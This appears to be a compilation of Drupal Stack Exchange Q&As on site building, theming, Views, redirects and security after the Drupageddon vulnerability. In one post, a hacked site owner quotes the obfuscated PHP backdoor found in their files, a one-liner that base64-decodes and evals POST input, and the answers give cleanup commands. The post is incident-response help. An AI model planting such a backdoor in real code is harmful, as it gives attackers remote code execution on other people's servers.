# Question
Title: Is CiviCRM data vulnerable to the Drupageddon bug?
Would CiviCRM data have been exposed to a Drupageddon exploit if it happened before I updated the site to Drupal 7.32?

CiviCRM is in a separate MySQL database. However, the site uses Views/CiviCRM integration so all the tables in the CiviCRM database are listed in Drupal’s settings.php file.

# Answer
> 7 votes
I probably would guess, yes to this one especially if you have added the civicrm db to the drupal settings file and/or share the civicrm tables in the same drupal db.

the primary reason for this is, drupal's db access layer (and code) can access the civi db the same way as the drupal db and hence any exploit in that code can be used against the civi db

lobo

# Answer
> 8 votes
Since a potential attacker got access to the database, and through the evil php module, could execute code, everything on the same server must be considered compromised.

# Answer
> 4 votes
To expand on Letharion's answer, any files on the server were vulnerable due to the nature of the exploit. "Arbitrary PHP execution" means server-level access is possible. https://www.drupal.org/SA-CORE-2014-005 With PHP execution you can now have back doors allowing malicious file uploads. Per the Drupal security team PSA https://www.drupal.org/PSA-2014-003, you should consider starting on a clean server entirely.

---
Tags: security, civicrm
---


# Question
Title: Block displaying in 'content' region of admin theme?
The below implementation of `hook_block_info` renders a block in the 'content' region of my theme. Unfortunately, it also appears in the content region of the administrative theme. The documentation states:

> properties: (optional) Array of additional metadata to add to the block. Common properties include: administrative:
>
> Boolean that categorizes this block as usable in an administrative context. This might include blocks that help an administrator approve/deny comments, or view recently created user accounts.

```
/**
 * Implements hook_block_info().
 */
function mymodule_block_info() {
  $blocks['diary'] = array(
    'info' => t('Diary'),
    'properties' => array('administrative' => FALSE),
    'weight' => 1,
    'status' => TRUE,
    'region' => 'content',
  );
  return $blocks;
}

```

However, my block is still appearing in the 'content' region of the administrative theme?

# Answer
> 0 votes
According to this comment, you can also specify the theme. I haven't tried it -- let us know if it works!

> There's also a theme key-value pair:

```
'exposed_order' => array(
'info' => t('Exposed commerce order filter'),
'theme' => $admin_theme,
'region' => 'content',
'pages' => ORDER_MENU_LINK,
'status' => 1,
'visibility' => 1,
),

```

---
Tags: blocks
---


# Question
Title: DPM simpleXMLElement returns just the object but echo returns its value
When I DPM the simpleXMLElementObject it returns

> (Object) SimpleXMLElement

print\_r returns the following:

```
SimpleXMLElement Object ( [0] => c1e1c959-c99d-42f0-8a44-2998b )

```

Although when I echo I can see the value for my object. Thus what is the best way to get its value in a string format?

This way then I can process that information.

Thanks.

# Answer
The issue was that dpm was not printing some of the SimpleXMLElement values. They were only visible from the var\_dump after die. Maybe there is a better way to check these. What I noticed was the value was being generated but dpm was not showing it and var\_dump did.
> 1 votes

---
Tags: debugging
---


title: Disable anonymous users on Open Atrium?

text:
# Question
Title: Disable anonymous users on Open Atrium?
first off I'm a beginner to Open Atrium, but am wondering if there is a simple way for all content on the site to require authenticated user permissions.

I'm building an open atrium 2 intranet and do not want anything but the login field accessible to anonymous users

I realize I can simply set the access permissions in every piece of content that is created, but this doesn't seem like a great solution.

# Answer
> 2 votes
If you go to http://yoursite.com/admin/people/permissions and find the **"View published content"** permission, uncheck it for anonymous users and that should do the trick.

---
Tags: distributions
---


title: How to show Child term in list box?

text:
# Question
Title: How to show Child term in list box?
I just want to know how to show child terms in list box see the below image

i tried http://drupal.org/project/hierarchical\_select this module but don't know how to achieve this.

http://wimleers.com/demo/hierarchical-select/az-standards this is the link to achieve in Hierarchical Select, but no idea to implement this, hope someone implemented this.

or is there is any module available?

# Answer
> 0 votes
hierarchical select does support this feature. Just to conform you have created the field with term reference and set a proper vocabulary which has parent and child relation. and while creating the field you have selected widget as hierarchical select. Please follow this approach.

# Answer
> 0 votes
for the field that you using hierarchical select as its widget go to widget setting of that field then you can configure the hierarchical select settings there. Page with link like this: http://example.com?q=admin/structure/types/manage/\[content-type\]/fields/\[your-field\]/widget-type

---
Tags: 7, taxonomy-terms
---


# Question
Title: How to add outer div to Profile2 profile including link set in #prefix
I would like to add a wrapper div around Profile2 profiles when displayed on the user account page. I can wrap the title and profile fields by modifying user-profile-category.tpl.php in my theme. However, there's an anchor link to each profile added in profile2.module using `hook_user_view`: `'#prefix' => '<a id="profile-' . $profile->type . '"></a>',`.

I can't find a template that will allow me to wrap that link along with its accompanying profile. How can I theme those items together?

# Answer
> 0 votes
The Profile2 modules implements a profile2\_form\_alter hook that you can implement in a module. Say you have a module called kelley\_profile2, then the function you want to implement is

```
/**
 * Implements hook_form_profile2_form_alter().
 */
function kelley_profile2_form_profile2_form_alter(&$form, &$form_state) {
  // Check profiles key exists in $form_state.
  if (array_key_exists('profiles', $form_state)) {
    // Iterate through each profile type and add prefix.
    foreach ($form_state['profiles'] as $type => $profile) {
      $form['profile_' . $type]['#prefix'] = '<a id="profile-' . $type . '"></a>';
    }
  }
}

```

---
Tags: theming, users
---


# Question
Title: View page displays "Page not found" error but previously worked
I am working on a site at the moment with a View of "properties". The view used to function perfectly but for some reason now displays a "Page not found" error when trying to access the page and during the Views AJAX preview, displays a 404 error when it tries to render. This has only started to happen in the last couple of days.

I've tried clearing all caches (inc Views cache), rebuilding permissions and deleting the View and importing it again but nothing seems to work. It only happens with this particular View, all others on the site function correctly.

The exported View is shown below. The version of views is 2.1.2.

Edit for new information:

* There is no menu entry assigned in the View but there is a menu item in the Primary Links. There are no particular access rules for the it either, everyone is allowed to access every View
* Menu has been rebuilt and all caches flushed and rebuilt
* I had it briefly working by disabling the Boost module. I had a warning that Boost's .htaccess file was not properly configured, so I reconfigured the .htaccess file and I then enabled the module again that didn't work. I then disabled Boost again, but it still didn't work, even after restoring Drupal's default .htaccess file.

-

```
$view = new view;
$view->name = 'properties_listing_2';
$view->description = 'Properties Listing 2';
$view->tag = '';
$view->view_php = '';
$view->base_table = 'node';
$view->is_cacheable = FALSE;
$view->api_version = 2;
$view->disabled = FALSE; /* Edit this to true to make a default view disabled initially */
$handler = $view->new_display('default', 'Defaults', 'default');
$handler->override_option('fields', array(
  'field_property_image_fid' => array(
    'label' => '',
    'alter' => array(
      'alter_text' => 0,
      'text' => '',
      'make_link' => 0,
      'path' => '',
      'link_class' => '',
      'alt' => '',
      'prefix' => '',
      'suffix' => '',
      'target' => '',
      'help' => '',
      'trim' => 0,
      'max_length' => '',
      'word_boundary' => 1,
      'ellipsis' => 1,
      'html' => 0,
      'strip_tags' => 0,
    ),
    'empty' => '<br /><br /><br />No image available',
    'hide_empty' => 0,
    'empty_zero' => 0,
    'link_to_node' => 1,
    'label_type' => 'none',
    'format' => 'property-page-image_linked',
    'multiple' => array(
      'group' => 1,
      'multiple_number' => '1',
      'multiple_from' => '0',
      'multiple_reversed' => 0,
    ),
    'exclude' => 0,
    'id' => 'field_property_image_fid',
    'table' => 'node_data_field_property_image',
    'field' => 'field_property_image_fid',
    'override' => array(
      'button' => 'Override',
    ),
    'relationship' => 'none',
  ),
  'title' => array(
    'label' => '',
    'alter' => array(
      'alter_text' => 0,
      'text' => '',
      'make_link' => 0,
      'path' => '',
      'link_class' => '',
      'alt' => '',
      'prefix' => '',
      'suffix' => '',
      'target' => '',
      'help' => '',
      'trim' => 0,
      'max_length' => '',
      'word_boundary' => 1,
      'ellipsis' => 1,
      'html' => 0,
      'strip_tags' => 0,
    ),
    'empty' => '',
    'hide_empty' => 0,
    'empty_zero' => 0,
    'link_to_node' => 1,
    'exclude' => 0,
    'id' => 'title',
    'table' => 'node',
    'field' => 'title',
    'override' => array(
      'button' => 'Override',
    ),
    'relationship' => 'none',
  ),
  'field_price_value' => array(
    'label' => '',
    'alter' => array(
      'alter_text' => 1,
      'text' => '[field_price_value] pm',
      'make_link' => 0,
      'path' => '',
      'link_class' => '',
      'alt' => '',
      'prefix' => '',
      'suffix' => '',
      'target' => '',
      'help' => '',
      'trim' => 0,
      'max_length' => '',
      'word_boundary' => 1,
      'ellipsis' => 1,
      'html' => 0,
      'strip_tags' => 0,
    ),
    'empty' => '',
    'hide_empty' => 0,
    'empty_zero' => 0,
    'link_to_node' => 0,
    'label_type' => 'none',
    'format' => 'default',
    'multiple' => array(
      'group' => TRUE,
      'multiple_number' => '',
      'multiple_from' => '',
      'multiple_reversed' => FALSE,
    ),
    'exclude' => 0,
    'id' => 'field_price_value',
    'table' => 'node_data_field_price',
    'field' => 'field_price_value',
    'relationship' => 'none',
  ),
  'body' => array(
    'label' => '',
    'alter' => array(
      'alter_text' => 0,
      'text' => '',
      'make_link' => 0,
      'path' => '',
      'link_class' => '',
      'alt' => '',
      'prefix' => '',
      'suffix' => '',
      'target' => '',
      'help' => '',
      'trim' => 1,
      'max_length' => '190',
      'word_boundary' => 1,
      'ellipsis' => 1,
      'html' => 0,
      'strip_tags' => 1,
    ),
    'empty' => '',
    'hide_empty' => 1,
    'empty_zero' => 0,
    'exclude' => 0,
    'id' => 'body',
    'table' => 'node_revisions',
    'field' => 'body',
    'relationship' => 'none',
  ),
  'field_number_bedrooms_value' => array(
    'label' => 'Beds',
    'alter' => array(
      'alter_text' => 0,
      'text' => '',
      'make_link' => 0,
      'path' => '',
      'link_class' => '',
      'alt' => '',
      'prefix' => '',
      'suffix' => '',
      'target' => '',
      'help' => '',
      'trim' => 0,
      'max_length' => '',
      'word_boundary' => 1,
      'ellipsis' => 1,
      'html' => 0,
      'strip_tags' => 0,
    ),
    'empty' => '',
    'hide_empty' => 0,
    'empty_zero' => 0,
    'link_to_node' => 0,
    'label_type' => 'custom',
    'format' => 'default',
    'multiple' => array(
      'group' => TRUE,
      'multiple_number' => '',
      'multiple_from' => '',
      'multiple_reversed' => FALSE,
    ),
    'exclude' => 0,
    'id' => 'field_number_bedrooms_value',
    'table' => 'node_data_field_number_bedrooms',
    'field' => 'field_number_bedrooms_value',
    'relationship' => 'none',
  ),
  'field_available_date_value' => array(
    'label' => 'Available',
    'alter' => array(
      'alter_text' => 0,
      'text' => '',
      'make_link' => 0,
      'path' => '',
      'link_class' => '',
      'alt' => '',
      'prefix' => '',
      'suffix' => '',
      'target' => '',
      'help' => '',
      'trim' => 0,
      'max_length' => '',
      'word_boundary' => 1,
      'ellipsis' => 1,
      'html' => 0,
      'strip_tags' => 0,
    ),
    'empty' => '',
    'hide_empty' => 0,
    'empty_zero' => 0,
    'link_to_node' => 0,
    'label_type' => 'custom',
    'format' => 'short',
    'multiple' => array(
      'multiple_number' => '',
      'multiple_from' => '',
      'multiple_to' => '',
      'group' => '',
    ),
    'repeat' => array(
      'show_repeat_rule' => '',
    ),
    'fromto' => array(
      'fromto' => 'both',
    ),
    'exclude' => 1,
    'id' => 'field_available_date_value',
    'table' => 'node_data_field_available_date',
    'field' => 'field_available_date_value',
    'override' => array(
      'button' => 'Override',
    ),
    'relationship' => 'none',
  ),
  'phpcode' => array(
    'label' => 'Available',
    'alter' => array(
      'alter_text' => 0,
      'text' => '',
      'make_link' => 0,
      'path' => '',
      'link_class' => '',
      'alt' => '',
      'prefix' => '',
      'suffix' => '',
      'target' => '',
      'help' => '',
      'trim' => 0,
      'max_length' => '',
      'word_boundary' => 1,
      'ellipsis' => 1,
      'html' => 0,
      'strip_tags' => 0,
    ),
    'empty' => '',
    'hide_empty' => 0,
    'empty_zero' => 0,
    'value' => '<?php

print(date(\'jS M Y\', strtotime($data->node_data_field_price_field_available_date_value)));

?>',
    'exclude' => 0,
    'id' => 'phpcode',
    'table' => 'customfield',
    'field' => 'phpcode',
    'relationship' => 'none',
  ),
  'field_furnishing_value' => array(
    'label' => 'Furnished',
    'alter' => array(
      'alter_text' => 0,
      'text' => '',
      'make_link' => 0,
      'path' => '',
      'link_class' => '',
      'alt' => '',
      'prefix' => '',
      'suffix' => '',
      'target' => '',
      'help' => '',
      'trim' => 0,
      'max_length' => '',
      'word_boundary' => 1,
      'ellipsis' => 1,
      'html' => 0,
      'strip_tags' => 0,
    ),
    'empty' => '',
    'hide_empty' => 0,
    'empty_zero' => 0,
    'link_to_node' => 0,
    'label_type' => 'custom',
    'format' => 'default',
    'multiple' => array(
      'group' => TRUE,
      'multiple_number' => '',
      'multiple_from' => '',
      'multiple_reversed' => FALSE,
    ),
    'exclude' => 0,
    'id' => 'field_furnishing_value',
    'table' => 'node_data_field_furnishing',
    'field' => 'field_furnishing_value',
    'override' => array(
      'button' => 'Override',
    ),
    'relationship' => 'none',
  ),
  'field_property_type_value' => array(
    'label' => 'Property Type',
    'alter' => array(
      'alter_text' => 0,
      'text' => '',
      'make_link' => 0,
      'path' => '',
      'link_class' => '',
      'alt' => '',
      'prefix' => '',
      'suffix' => '',
      'target' => '',
      'help' => '',
      'trim' => 0,
      'max_length' => '',
      'word_boundary' => 1,
      'ellipsis' => 1,
      'html' => 0,
      'strip_tags' => 0,
    ),
    'empty' => '',
    'hide_empty' => 0,
    'empty_zero' => 0,
    'link_to_node' => 0,
    'label_type' => 'widget',
    'format' => 'default',
    'multiple' => array(
      'group' => TRUE,
      'multiple_number' => '',
      'multiple_from' => '',
      'multiple_reversed' => FALSE,
    ),
    'exclude' => 0,
    'id' => 'field_property_type_value',
    'table' => 'node_data_field_property_type',
    'field' => 'field_property_type_value',
    'relationship' => 'none',
  ),
  'field_location_nid' => array(
    'label' => 'Locale',
    'alter' => array(
      'alter_text' => 0,
      'text' => '',
      'make_link' => 0,
      'path' => '',
      'link_class' => '',
      'alt' => '',
      'prefix' => '',
      'suffix' => '',
      'target' => '',
      'help' => '',
      'trim' => 0,
      'max_length' => '',
      'word_boundary' => 1,
      'ellipsis' => 1,
      'html' => 0,
      'strip_tags' => 0,
    ),
    'empty' => '',
    'hide_empty' => 0,
    'empty_zero' => 0,
    'link_to_node' => 0,
    'label_type' => 'custom',
    'format' => 'plain',
    'multiple' => array(
      'group' => TRUE,
      'multiple_number' => '',
      'multiple_from' => '',
      'multiple_reversed' => FALSE,
    ),
    'exclude' => 0,
    'id' => 'field_location_nid',
    'table' => 'node_data_field_location',
    'field' => 'field_location_nid',
    'relationship' => 'none',
  ),
  'view_node' => array(
    'label' => '',
    'alter' => array(
      'alter_text' => 0,
      'text' => '',
      'make_link' => 0,
      'path' => '',
      'link_class' => '',
      'alt' => '',
      'prefix' => '',
      'suffix' => '',
      'target' => '',
      'help' => '',
      'trim' => 0,
      'max_length' => '',
      'word_boundary' => 1,
      'ellipsis' => 1,
      'html' => 0,
      'strip_tags' => 0,
    ),
    'empty' => '',
    'hide_empty' => 0,
    'empty_zero' => 0,
    'text' => 'More details',
    'exclude' => 1,
    'id' => 'view_node',
    'table' => 'node',
    'field' => 'view_node',
    'relationship' => 'none',
  ),
  'nid' => array(
    'label' => '',
    'alter' => array(
      'alter_text' => 0,
      'text' => '',
      'make_link' => 0,
      'path' => '',
      'link_class' => '',
      'alt' => '',
      'prefix' => '',
      'suffix' => '',
      'target' => '',
      'help' => '',
      'trim' => 0,
      'max_length' => '',
      'word_boundary' => 1,
      'ellipsis' => 1,
      'html' => 0,
      'strip_tags' => 0,
    ),
    'empty' => '',
    'hide_empty' => 0,
    'empty_zero' => 0,
    'link_to_node' => 0,
    'exclude' => 1,
    'id' => 'nid',
    'table' => 'node',
    'field' => 'nid',
    'relationship' => 'none',
  ),
  'nothing' => array(
    'label' => '',
    'alter' => array(
      'text' => '[view_node]     <a href="http://www.dominoletting.co.uk/printmail/[nid]">Email to friend</a>',
      'make_link' => 0,
      'path' => '',
      'link_class' => '',
      'alt' => '',
      'prefix' => '',
      'suffix' => '',
      'target' => '',
      'help' => '',
      'trim' => 0,
      'max_length' => '',
      'word_boundary' => 1,
      'ellipsis' => 1,
      'html' => 0,
      'strip_tags' => 0,
    ),
    'empty' => '',
    'hide_empty' => 0,
    'empty_zero' => 0,
    'exclude' => 0,
    'id' => 'nothing',
    'table' => 'views',
    'field' => 'nothing',
    'relationship' => 'none',
  ),
));
$handler->override_option('filters', array(
  'type' => array(
    'operator' => 'in',
    'value' => array(
      'property' => 'property',
    ),
    'group' => '0',
    'exposed' => FALSE,
    'expose' => array(
      'operator' => FALSE,
      'label' => '',
    ),
    'id' => 'type',
    'table' => 'node',
    'field' => 'type',
    'override' => array(
      'button' => 'Override',
    ),
    'relationship' => 'none',
  ),
  'status' => array(
    'operator' => '=',
    'value' => '1',
    'group' => '0',
    'exposed' => FALSE,
    'expose' => array(
      'operator' => FALSE,
      'label' => '',
    ),
    'id' => 'status',
    'table' => 'node',
    'field' => 'status',
    'override' => array(
      'button' => 'Override',
    ),
    'relationship' => 'none',
  ),
  'field_general_location_value_many_to_one' => array(
    'operator' => 'or',
    'value' => array(),
    'group' => '0',
    'exposed' => TRUE,
    'expose' => array(
      'use_operator' => 0,
      'operator' => 'field_general_location_value_many_to_one_op',
      'identifier' => 'general_location',
      'label' => 'Location',
      'optional' => 1,
      'single' => 1,
      'remember' => 0,
      'reduce' => 0,
    ),
    'id' => 'field_general_location_value_many_to_one',
    'table' => 'node_data_field_general_location',
    'field' => 'field_general_location_value_many_to_one',
    'override' => array(
      'button' => 'Override',
    ),
    'relationship' => 'none',
    'reduce_duplicates' => 0,
  ),
  'distance' => array(
    'operator' => 'dist',
    'value' => array(
      'latitude' => '',
      'longitude' => '',
      'postal_code' => '',
      'country' => 'uk',
      'php_code' => '',
      'nid_arg' => '',
      'nid_loc_field' => 'field_postcode_location',
      'uid_arg' => '',
      'search_distance' => '',
      'search_units' => 'mile',
    ),
    'group' => '0',
    'exposed' => TRUE,
    'expose' => array(
      'use_operator' => 0,
      'operator' => 'distance_op',
      'identifier' => 'distance',
      'label' => '',
      'user_location_choose' => 0,
      'optional' => 1,
      'remember' => 0,
    ),
    'identifier' => 'dist',
    'origin' => 'postal_default',
    'id' => 'distance',
    'table' => 'location',
    'field' => 'distance',
    'relationship' => 'none',
    'gmap_macro' => '',
  ),
  'field_property_type_value_many_to_one' => array(
    'operator' => 'or',
    'value' => array(),
    'group' => '0',
    'exposed' => TRUE,
    'expose' => array(
      'use_operator' => 0,
      'operator' => 'field_property_type_value_many_to_one_op',
      'identifier' => 'property_type',
      'label' => 'Property Type',
      'optional' => 1,
      'single' => 1,
      'remember' => 0,
      'reduce' => 0,
    ),
    'id' => 'field_property_type_value_many_to_one',
    'table' => 'node_data_field_property_type',
    'field' => 'field_property_type_value_many_to_one',
    'override' => array(
      'button' => 'Override',
    ),
    'relationship' => 'none',
    'reduce_duplicates' => 0,
  ),
  'field_furnishing_value_many_to_one' => array(
    'operator' => 'or',
    'value' => array(),
    'group' => '0',
    'exposed' => TRUE,
    'expose' => array(
      'use_operator' => 0,
      'operator' => 'field_furnishing_value_many_to_one_op',
      'identifier' => 'furnishing',
      'label' => 'Furnishing',
      'optional' => 1,
      'single' => 1,
      'remember' => 0,
      'reduce' => 0,
    ),
    'id' => 'field_furnishing_value_many_to_one',
    'table' => 'node_data_field_furnishing',
    'field' => 'field_furnishing_value_many_to_one',
    'override' => array(
      'button' => 'Override',
    ),
    'relationship' => 'none',
    'reduce_duplicates' => 0,
  ),
  'field_number_bedrooms_value' => array(
    'operator' => '>=',
    'value' => array(
      'value' => '',
      'min' => '',
      'max' => '',
    ),
    'group' => '0',
    'exposed' => TRUE,
    'expose' => array(
      'use_operator' => 0,
      'operator' => 'field_number_bedrooms_value_op',
      'identifier' => 'min_bedrooms',
      'label' => 'Min. Bedrooms',
      'optional' => 1,
      'remember' => 0,
    ),
    'id' => 'field_number_bedrooms_value',
    'table' => 'node_data_field_number_bedrooms',
    'field' => 'field_number_bedrooms_value',
    'relationship' => 'none',
  ),
  'field_price_value' => array(
    'operator' => '>=',
    'value' => array(
      'value' => '',
      'min' => '',
      'max' => '',
    ),
    'group' => '0',
    'exposed' => TRUE,
    'expose' => array(
      'use_operator' => 0,
      'operator' => 'field_price_value_op',
      'identifier' => 'min_price',
      'label' => 'Min. Price',
      'optional' => 1,
      'remember' => 0,
    ),
    'id' => 'field_price_value',
    'table' => 'node_data_field_price',
    'field' => 'field_price_value',
    'relationship' => 'none',
  ),
  'field_price_value_1' => array(
    'operator' => '<=',
    'value' => array(
      'value' => '',
      'min' => '',
      'max' => '',
    ),
    'group' => '0',
    'exposed' => TRUE,
    'expose' => array(
      'use_operator' => 0,
      'operator' => 'field_price_value_1_op',
      'identifier' => 'max_price',
      'label' => 'Max. Price (£ Monthly)',
      'optional' => 1,
      'remember' => 0,
    ),
    'id' => 'field_price_value_1',
    'table' => 'node_data_field_price',
    'field' => 'field_price_value',
    'relationship' => 'none',
  ),
));
$handler->override_option('access', array(
  'type' => 'none',
));
$handler->override_option('cache', array(
  'type' => 'none',
));
$handler->override_option('title', 'Property Search');
$handler->override_option('empty', 'No results available.  Please refine your search.');
$handler->override_option('empty_format', '1');
$handler->override_option('use_pager', '1');
$handler->override_option('exposed_block', TRUE);
$handler = $view->new_display('page', 'Property Search Original', 'page_1');
$handler->override_option('path', 'properties');
$handler->override_option('menu', array(
  'type' => 'none',
  'title' => '',
  'description' => '',
  'weight' => 0,
  'name' => 'navigation',
));
$handler->override_option('tab_options', array(
  'type' => 'none',
  'title' => '',
  'description' => '',
  'weight' => 0,
  'name' => 'navigation',
));
$handler = $view->new_display('page', 'Property Search Table', 'page_2');
$handler->override_option('path', 'properties2');
$handler->override_option('menu', array(
  'type' => 'none',
  'title' => '',
  'description' => '',
  'weight' => 0,
  'name' => 'navigation',
));
$handler->override_option('tab_options', array(
  'type' => 'none',
  'title' => '',
  'description' => '',
  'weight' => 0,
  'name' => 'navigation',
));

```

# Answer
Have you tried to change the view path to something else ?

Did you try *"To clear Boosts cache set "Ignore cache flushing:" to 'Disabled' in the boost advanced settings & try again."* ?

Does your hosting support gzip compression ?

As far as I know there is Boost option "Aggressive Gzip: Deliver gzipped content independent of the request header". What happens if you uncheck the "Aggressive Gzip" option under the Boost Configuration ?
> 1 votes

# Answer
Hmm, long shot, maybe you are using Pathauto and somehow the URL you used got nuked? That's happened to me a couple of times.
> 0 votes

# Answer
you seem to have the same issue as me. The problem for me was caused by using the imagecache preset linked to the node and by ticking the views "link this field to its node".

The view was working perfectly up until a few hours ago and also worked perfectly when I created a dump of the database and imported the site work on it locally. This suggests to me that there's something super obscure going on with the server (shared hosting) setup.

In your case, for your field "field\_property\_image\_fid" you can't have link\_to\_node = 1 at the same time as using the property-page-image\_linked format.

If this fixes the problem for you, and my solution wasn't something just specific to my setup, could you please open an issue in the queue on the Views' project page?
> 0 votes

# Answer
In my case disabling the `/taxonomy/term/` view fixed this problem.
> 0 votes

# Answer
Just had this, think it must be php version related maybe.it turned out to be the "field\_property\_image\_fid" in the view for me as it was for David. Was the image from a ubercart product.

Deleted (it wasn't even needed in the view!) it and all was ok again.

Thanks.
> 0 votes

---
Tags: 6, views, caching
---


title: Why are modules showing up as themes?

text:
# Question
Title: Why are modules showing up as themes?
I am uploading my Drupal Commerce Kickstart website to the host from my local computer, and I seem to be facing issues at every turn. I have not edited any of the code (trying to avoid it) or moved around any folders except in themes so it's likely something to do with that.

It does not seem to be affecting the functionality of the website but clearly I've moved (or not properly uploaded via FTP) something important. I searched through as best I could and haven't found anyone else who has broken Drupal like this so I'm feeling pretty special.

Why are modules showing up as themes?

# Answer
Drupal uses a function called \_system\_rebuild\_theme\_data() to help determine the list of themes (both enabled and disabled) to show on that page. That function does a number of things, but the first thing it does is to look for any .info files within the "themes" directories, which can include /themes, /sites/all/themes, sites/anydirectory/themes.

So, based on the screenshot, it appears that you have some modules placed in a themes directory. I would go through your themes directories to make sure that that isn't the case.
> 7 votes

---
Tags: commerce
---


# Question
Title: My Drupal was hacked: Remote Code Execution – base64_decode() with ‘PCT4BA6ODSE_’
today I woke up surprised that my website was hacked. I found scripts like this in several files of my Drupal instalation

```
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n7f2521'];if(isset($s22)){eval($s21($s22));}

```

I could find that the script was propagated, from

sites/default/files/styles/thumbnail/public/footer.php

That footer.php should not be there, so my question is, how a php file could be uploaded in that folder?

I checked all the upload images and files fields and I ensure any of those are allowed of upload .php files.

Can someone help me out?

how to prevent this type of hacking? what are the precautions for this type of hacking?

# Answer
Your site has indeed been hacked. Many possibilities of a backdoor exist now.

You can start by upgrading to 7.32 or better and downloading the Hacked! module and scanning your system files for changes.

You can also use one of the following commands to find the exploited files.

* `grep -Rl PCT4BA6ODSE . | xargs sed -i 's/<[?]php.*PCT4BA6ODSE_.*[?]>/<\?php \/\/ RECOVERED FILE - more info at AllAboutTodd.com \?>/g'`
* `find . -type f -newermt 2014-10-01 ! -newermt 2014-10-31 -name "*.php"`

The latter command will find all files that end in *.php* which were last modified in October. To search instead the files for which the permissions were changed in October, replace `-newermt` with `-newerct`.
> 4 votes

# Answer
Start with ensuring that your modules and core are up to date. Also make sure that your submitting user credentials using a secure connection (HTTPS).

You could use a module like Password policy to secure user accounts. For now I'd change all of your admin credentials, clean up any damage, and maybe have users change their passwords.

EDIT:

Also check out the secure login module.
> 2 votes

---
Tags: files
---


title: Generating Url for a route

text:
# Question
Title: Generating Url for a route
I want to use drupal l() function, but Url doesn't work really well with a view with optional argument.

The view has a context filter, but it is optional. In the routes table it has path `/knowledge-base`. When I setup view's routing as /knowledge-base/% Routes table starts to receive /knowledge-base/{arg\_0}, but it becomes mandatory.

Is it possible to add an argument to the route, so I would be able to construct route `/knowledge-base/ID` from the code (`new Url('route.name', ['arg_0' => $val])`), but leave it optional?

# Answer
What you can do is to define the path as a non-routed path:

```
<?
$url = Url::fromUri('base://knowledge-base');

```

(The base:// stuff is a bit weird IMHO, don't ask me why it's named like that. @dawehner might know ;))

This has a few limitations, some methods will then not work (like getRouteName()), and the url will not be checked for access.

The only other way I can think of is to define two displays in your view, one without an argument and the other one that requires it.
> 2 votes

---
Tags: 8, routes
---


# Question
Title: Remove email validation from Feed Import
I'm trying to import about 15000 users from a CSV file. Most of the users have valid email addresses, but some (+/- 5000) don't, they're also not blank fields.

Is there a way that I can bypass the email validation? Or a module that can easily help with this?

I've tried re-importing the CSV file with "Do not replace existing users" and removing the email field from the mapping, and I still cannot import them and am getting the "User name missing or email not valid."

I have Optional Mail installed, and have tried importing after disabling the email field for registrations and edit pages and still get the same error.

Any ideas?

# Answer
The validation logic for the email is embedded within the user feeds module in **FeedsUserProcessor.inc** which means the best way to go about this is to create you own, almost identical, feeds processor in your own custom module. Read up on how to create a custom processor.

After reading that documentation you'll need a processor class and you can use FeedsUserProcessor.inc within the feeds module as a starting point. Copy that file into your own module where necessary, rename it and also rename the class name defined within the file. In this file you should see this implementation of the **entityValidate** function:

```
/**
 * Validates a user account.
 */
protected function entityValidate($account) {
  if (empty($account->name) || empty($account->mail) || !valid_email_address($account->mail)) {
  throw new FeedsValidationException(t('User name missing or email not valid.'));
  }
}

```

Remove the **!valid\_email\_address($account-\>mail)** bit in that if statement and configure your feeds importer to use the custom processor you just created.

FYI, I would not recommend importing users with invalid email addresses as this will cause major problems with your users trying to use your site properly.
> 0 votes

---
Tags: emails
---


# Question
Title: drupal_goto forcing redirects to https when external link is http
Our server uses https, but when we want to redirect to an external site that uses http, the https still gets added on. We will often have mixed links where some links are http and some are https. Our current call goes as:

drupal\_goto($link, array("external" =\> TRUE));//where $link is the link we want to redirect to

Is setting the https option to false the way to go, or will it kill the links that should be https? I would think for an external link that drupal would not be trying to change that.

We changed the code to this, but it did not fix the issue:

```
$parsed = parse_url($link);
if ($parsed["scheme"] === "http") {
  $https = FALSE;
}
else {
  $https = TRUE;
}
// Forward to requested URL.
drupal_goto($link, ["external" => TRUE, "https" => $https]);

```

# Answer
> 2 votes
drupal\_goto() takes a $path and $options which in turn sends them to url(). As you can see in the docs for url()

https://api.drupal.org/api/drupal/includes%21common.inc/function/url/7

> **'https':** Whether this URL should point to a secure location. If not defined, the current scheme is used, so the user stays on HTTP or HTTPS respectively. TRUE enforces HTTPS and FALSE enforces HTTP, but HTTPS can only be enforced when the variable 'https' is set to TRUE.

so in your case the redirects will be https by default, which means you will have to set the them individually each time to use only http e.g.

```
drupal_goto($path, array("external" => TRUE, "https" => FALSE));

```

---
Tags: redirection
---


# Question
Title: Views: Sort By Global Math Expression Result?
I have created a global math expression field in views, and I want to sort the results by the results of the math expression.

In particular, I use Drealty to connect to a RETS server and download property listings. My local database gets populated with prices and number of bedrooms for each listing. I want to sort based on Cost per Bedroom.

Any Ideas?

# Answer
You can't sort currently by just using views but i would recommend to store the value in the database.

Therefore create a computed field: http://drupal.org/project/computed\_field and do the logic in there to store the value in the DB. Once you have done this views will be able to sort by that.
> 1 votes

# Answer
If you have table with aggregation module you can sort without needing to store in DB
> 1 votes

# Answer
I guess you can do it by creating a new module with hook\_drealty\_import\_presave\_alter or rules. The problem is that you need to write the result of the math to the database so that you can sort or filter on it.
> 0 votes

---
Tags: entities, views
---


# Question
Title: Get term ID of a field vocabulary in for templating
I have a node template with various taxonomy fields and I'm trying to get the term ID of a specific vocabulary field to pass it through an url. I have tried many function but I can't seem to find the proper one. Can anyone help me on this ?

# Answer
> 0 votes
It sounds like you need to inspect your node. You can do this with the vital devel module.

https://www.drupal.org/project/devel

Once installed it will give you a few new tabs on your node page to see how the node is constructed when it is loaded using node\_load($nid) and rendered using node\_view($node).

In the node template itself, you will have access to the rendered node as per node\_view($node) so anything you see in the devel modules render page you can print out in your node.tpl.php

Devel uses the excellent Krumo library to display PHP objects and array nicely, this is also accessible using `dpm($object);` however it can not be used in templates, but you can call krumo directly using `krumo($node);`

So in your node template, call `krumo($node);` to find the field you want, then once found add it to a variables `$tid = $node->taxonomy[LANGUAGE_NONE][0]['tid'];` and pass it to you link `print l("taxonomy", "view/$tid");`

# Answer
> -2 votes
field\_modele\['und'\]\[0\]\['tid'\]; ?\>

---
Tags: theming, taxonomy-terms
---


# Question
Title: Collecting user and node locations seperate or combined?
